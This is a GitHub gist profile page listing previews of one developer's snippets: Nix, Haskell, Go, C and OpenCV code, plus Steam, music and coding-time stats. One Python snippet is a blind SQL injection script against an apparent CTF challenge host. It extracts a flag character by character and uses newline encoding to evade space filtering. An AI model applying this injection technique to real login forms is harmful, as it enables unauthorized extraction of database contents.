Skip to content

Instantly share code, notes, and snippets.

View chfanghr's full-sized avatar
🏃‍♂️
Running away from the POOH

方泓睿 chfanghr

🏃‍♂️
Running away from the POOH
View GitHub Profile
@chfanghr
chfanghr / mkGenericGameServerCluster.nix
Last active January 26, 2024 22:41
nix-game-server-draft
# Primary logic:
#
# forever $
# let noUpd = do
# checkUpdate
# traverse activate instances
# sleep updateInterval
# retryOnError f = catch (void f) $ const $ retryOnError f
# upd = do
# traverse deactivate instances
@chfanghr
chfanghr / dummy.hs
Last active January 21, 2023 07:48
`phasOnlyOneTokenOfCurrencySymbol` using state machine
data PState (s :: S)
= PInitial
| PFound
| PFailed
deriving stock
( Generic
, Enum
, Bounded
)
deriving anyclass
package hlbvh
import (
"math/bits"
"sync/atomic"
)
// Mark: - Kernels
func calculateMortonCodeKernel(dispatcher workDispatcher,
@chfanghr
chfanghr / 🎮 Steam playtime leaderboard
Last active October 16, 2021 00:56
🎮 Steam playtime leaderboard
🚓 Grand Theft Auto V 🕘 1253 hrs 21 mins
🔫 Counter-Strike: Global Offensive 🕘 1174 hrs 31 mins
🎮 War Thunder 🕘 108 hrs 6 mins
🎮 Human: Fall Flat 🕘 71 hrs 53 mins
🎮 HITMAN™ 🕘 20 hrs 18 mins
@chfanghr
chfanghr / 🎵 My last week in music
Last active January 8, 2021 14:08
🎵 My last week in music
Yu-Peng Chen ███▉░░░░░░░░░░░░░ 70 plays
REOL ███▎░░░░░░░░░░░░░ 59 plays
Manu Pilas ██▉░░░░░░░░░░░░░░ 53 plays
Xeuphoria ██▌░░░░░░░░░░░░░░ 46 plays
Ramin Djawadi █░░░░░░░░░░░░░░░░ 19 plays
Emmanuel David Lipszyc ▊░░░░░░░░░░░░░░░░ 14 plays
Audiomachine ▋░░░░░░░░░░░░░░░░ 13 plays
La Fanfarria del Capitán ▌░░░░░░░░░░░░░░░░ 10 plays
Andrew Britton ▌░░░░░░░░░░░░░░░░ 9 plays
Cecilia Krull ▍░░░░░░░░░░░░░░░░ 8 plays
@chfanghr
chfanghr / 📊 Weekly development breakdown
Last active July 22, 2021 18:02
📊 Weekly development breakdown
C# 9 hrs 7 mins █████████▎░░░░░░░░░░░ 44.6%
unity 7 hrs 16 mins ███████▍░░░░░░░░░░░░░ 35.5%
sh 3 hrs 36 mins ███▋░░░░░░░░░░░░░░░░░ 17.6%
Other 24 mins ▍░░░░░░░░░░░░░░░░░░░░ 2.0%
JSON 3 mins ░░░░░░░░░░░░░░░░░░░░░ 0.3%
import requests
s=requests.session()
flag=''
for i in range(1,50):
p=''
for j in range(1,255):
payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
#print payload
url="http://55a37af9-cb39-4361-a2cb-9b30b468527c.node3.buuoj.cn/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
@chfanghr
chfanghr / set.c
Created July 2, 2019 13:28
set using AVL
//
// Created by 31838 on 7/2/2019.
//
#include "set.h"
#include <string.h>
#include <errno.h>
struct internal_set {
//去除二值图像边缘的突出部
//uthreshold、vthreshold分别表示突出部的宽度阈值和高度阈值
//type代表突出部的颜色,0表示黑色,1代表白色
void delete_jut(Mat& src, Mat& dst, int uthreshold, int vthreshold, int type)
{
int threshold;
src.copyTo(dst);
int height = dst.rows;
int width = dst.cols;
int k; //用于循环计数传递到外部